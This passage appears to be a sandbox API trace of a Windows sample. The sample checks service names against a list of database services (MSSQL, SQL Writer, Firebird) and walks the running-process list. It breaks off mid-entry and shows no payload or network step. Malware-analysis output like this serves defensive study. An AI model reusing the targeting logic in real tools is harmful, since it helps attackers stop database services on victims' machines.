lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0072.533] lstrlenW (lpString="Schedule") returned 8 [0072.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0072.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0072.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0072.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0072.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0072.534] lstrlenW (lpString="SecurityHealthService") returned 21 [0072.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0072.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0072.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0072.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0072.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0072.534] lstrlenW (lpString="SENS") returned 4 [0072.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0072.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0072.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0072.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0072.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0072.534] lstrlenW (lpString="ShellHWDetection") returned 16 [0072.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0072.534] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0072.534] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0072.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0072.534] lstrlenW (lpString="Spooler") returned 7 [0072.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0072.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0072.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0072.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0072.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0072.534] lstrlenW (lpString="SSDPSRV") returned 7 [0072.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0072.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0072.534] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0072.534] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0072.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0072.534] lstrlenW (lpString="StateRepository") returned 15 [0072.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0072.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0072.534] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0072.534] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0072.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0072.535] lstrlenW (lpString="SysMain") returned 7 [0072.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0072.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0072.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0072.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0072.535] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4eeb48 | out: hHeap=0x490000) returned 1 [0072.535] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0073.014] Process32FirstW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.014] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.015] lstrlenW (lpString="System") returned 6 [0073.015] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.015] lstrlenW (lpString="smss.exe") returned 8 [0073.015] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.016] lstrlenW (lpString="csrss.exe") returned 9 [0073.016] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.016] lstrlenW (lpString="wininit.exe") returned 11 [0073.016] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.017] lstrlenW (lpString="csrss.exe") returned 9 [0073.017] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.017] lstrlenW (lpString="winlogon.exe") returned 12 [0073.017] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.018] lstrlenW (lpString="services.exe") returned 12 [0073.018] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.019] lstrlenW (lpString="lsass.exe") returned 9 [0073.019] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.019] lstrlenW (lpString="svchost.exe") returned 11 [0073.019] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0073.020] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0073.020] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0073.020] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0073.020] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.021] lstrlenW (lpString="svchost.exe") returned 11 [0073.021] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.021] lstrlenW (lpString="dwm.exe") returned 7 [0073.021] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.022] lstrlenW (lpString="svchost.exe") returned 11 [0073.022] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.022] lstrlenW (lpString="svchost.exe") returned 11 [0073.022] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.023] lstrlenW (lpString="svchost.exe") returned 11 [0073.023] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.023] lstrlenW (lpString="svchost.exe") returned 11 [0073.023] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.024] lstrlenW (lpString="svchost.exe") returned 11 [0073.024] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.024] lstrlenW (lpString="svchost.exe") returned 11 [0073.025] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.025] lstrlenW (lpString="svchost.exe") returned 11 [0073.025] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.026] lstrlenW (lpString="svchost.exe") returned 11 [0073.026] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.026] lstrlenW (lpString="svchost.exe") returned 11 [0073.026] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.027] lstrlenW (lpString="svchost.exe") returned 11 [0073.027] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.027] lstrlenW (lpString="spoolsv.exe") returned 11 [0073.027] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.028] lstrlenW (lpString="svchost.exe") returned 11 [0073.028] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.028] lstrlenW (lpString="audiodg.exe") returned 11 [0073.028] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0073.029] lstrlenW (lpString="sihost.exe") returned 10 [0073.029] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.029] lstrlenW (lpString="svchost.exe") returned 11 [0073.029] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0073.030] lstrlenW (lpString="taskhostw.exe") returned 13 [0073.030] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.030] lstrlenW (lpString="explorer.exe") returned 12 [0073.030] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0073.031] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0073.031] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0073.031] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0073.031] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0073.032] lstrlenW (lpString="Memory Compression") returned 18 [0073.032] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0073.032] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0073.033] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0073.033] lstrlenW (lpString="SearchUI.exe") returned 12 [0073.033] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0073.034] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0073.034] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.034] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.034] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0073.035] lstrlenW (lpString="furholdtopics.exe") returned 17 [0073.035] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0073.035] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0073.035] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0073.036] lstrlenW (lpString="until_commit.exe") returned 16 [0073.036] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0073.036] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0073.036] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0073.037] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0073.037] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0073.037] lstrlenW (lpString="lexmark.exe") returned 11 [0073.037] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0073.038] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0073.038] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0073.039] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0073.039] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0073.039] lstrlenW (lpString="delete disable changing.exe") returned 27 [0073.039] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0073.040] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0073.040] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0073.040] lstrlenW (lpString="underwear.exe") returned 13 [0073.040] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0073.041] lstrlenW (lpString="dear-hearings.exe") returned 17 [0073.041] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0073.041] lstrlenW (lpString="dllhost.exe") returned 11 [0073.041] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0073.042] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0073.042] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0073.042] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0073.042] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0073.043] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0073.043] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0073.043] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0073.043] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0073.044] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0073.044] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0073.044] lstrlenW (lpString="towers world.exe") returned 16 [0073.044] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0073.045] lstrlenW (lpString="coaching indian.exe") returned 19 [0073.045] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0073.046] lstrlenW (lpString="goal assumed.exe") returned 16 [0073.046] Process32NextW (in: hSnapshot=0x38c, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, 